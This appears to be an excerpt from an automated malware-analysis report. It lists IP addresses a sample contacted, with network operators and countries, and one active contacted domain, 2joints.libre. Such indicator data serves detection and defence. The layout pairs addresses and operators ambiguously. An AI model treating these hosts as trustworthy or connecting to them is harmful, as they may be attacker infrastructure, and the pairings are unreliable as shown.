4249 LILLY-ASUS false
184.6.66.125
 unknown United States
18494 CENTURYLINK-LEGACY-EMBARQ-WRBGUS false
75.244.29.234
 unknown United States
22394 CELLCOUS false
158.246.195.108
 unknown United States
1540 DNIC-ASBLK-01534-01546US false
31.51.53.66
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
114.38.90.240
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
103.161.222.25
 unknown unknown
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
160.159.78.211
 unknown Tunisia
37492 ORANGE-TN false
98.84.53.24
 unknown United States
11351 TWC-11351-NORTHEASTUS false
219.27.215.220
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
83.21.50.221
 unknown Poland
5617 TPNETPL false
152.95.95.222
 unknown Denmark
224 UNINETTUNINETTTheNorwegianUniversityResearchNetwork false
85.255.171.40
 unknown Bulgaria
35122 SATNET-ASBG false
168.90.72.107
 unknown Argentina
52493 VELONETAR false
199.49.181.117
 unknown United States
201204 GFIS-AS-DE false
54.103.47.161
 unknown United States
16509 AMAZON-02US false
190.65.133.145
 unknown Colombia
3816 COLOMBIATELECOMUNICACIONESSAESPCO false
84.74.30.126
 unknown Switzerland
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
31.111.79.235
 unknown United Kingdom
12576 EELtdGB false
114.64.211.15
 unknown China
23724 CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation false
38.231.38.16
 unknown United States
174 COGENT-174US false
157.9.150.49
 unknown Japan 4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
93.157.168.43
 unknown Russian Federation
49403 AVK-WELLCOM-ASRU false
1.173.52.64
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
33.153.131.248
 unknown United States
2686 ATGS-MMD-ASUS false

Contacted Domains

Name IP Active
2joints.libre 156.244.13.91 true